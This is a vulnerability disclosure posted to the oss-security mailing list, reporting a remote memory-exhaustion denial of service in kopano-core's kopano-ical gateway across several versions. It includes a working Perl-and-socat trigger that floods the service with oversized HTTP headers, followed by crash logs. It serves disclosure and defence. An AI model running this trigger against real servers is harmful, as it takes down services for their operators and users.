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Date: Fri, 19 Mar 2021 13:44:24 +0100 (CET)  
From: Jan Engelhardt <jengelh@openwall.com>  
To: oss-security@openwall.com  
Subject: kopano-core 11.0.1: Remote DoS by memory exhaustion

Initial publication, no CVE number yet (will request).

#### # Affected versions

- \* kopano-core 11.0.1 (current head of 11.x branch)
- \* kopano-core 10.0.7 (head of 10.x branch)
- \* kopano-core 9.1.0 (head of 9.x branch)
- \* kopano-core 8.7.16
- \* it is believed this affects all versions to date, including zarafa 7.2.6, the discontinued predecessor project to Kopano, sometimes still in use.

The "kopano-ical" program implements a network service/trivial HTTP server. It imposes no length restrictions on HTTP headers, which can be exploited to memory-exhaust the process and have it terminate.

#### # Trigger

```
» perl -e 'print "GET / HTTP/1.0\nHost: \n";  
    while(1) { print " " . "A" x 65000 . "\n"; }' |  
socat - tcp-connect:kopano-ical.example.com:8080
```

The exact port depends on configuration; 8000 is also typical choice.

```
» systemctl status kopano-ical  
• kopano-ical.service - Kopano Groupware Core iCal/CalDAV Gateway  
   Loaded: loaded (/usr/lib/systemd/system/kopano-ical.service; enabled; vendor preset: disabled)  
   Active: failed (Result: signal) since Fri 2021-03-19 13:24:26 CET; 32s ago  
     Docs: man:kopano-ical(8)  
           man:kopano-ical.cfg(5)  
  Process: 2126 ExecStart=/usr/sbin/kopano-ical -F (code=killed, signal=ABRT)  
 Main PID: 2126 (code=killed, signal=ABRT)
```

```
kopano-ical[2126]: terminate called after throwing an instance of 'std::bad_alloc'  
kopano-ical[2126]: -----  
kopano-ical[2126]: Fatal error detected. Please report all following information.  
kopano-ical[2126]: kopano-ical 8.7.16.0  
kopano-ical[2126]: what(): std::bad_alloc  
systemd[1]: kopano-ical.service: Main process exited, code=killed, status=6/ABRT  
systemd[1]: kopano-ical.service: Unit entered failed state.  
systemd[1]: kopano-ical.service: Failed with result 'signal'.
```

#### # Mitigation

None known at this time.

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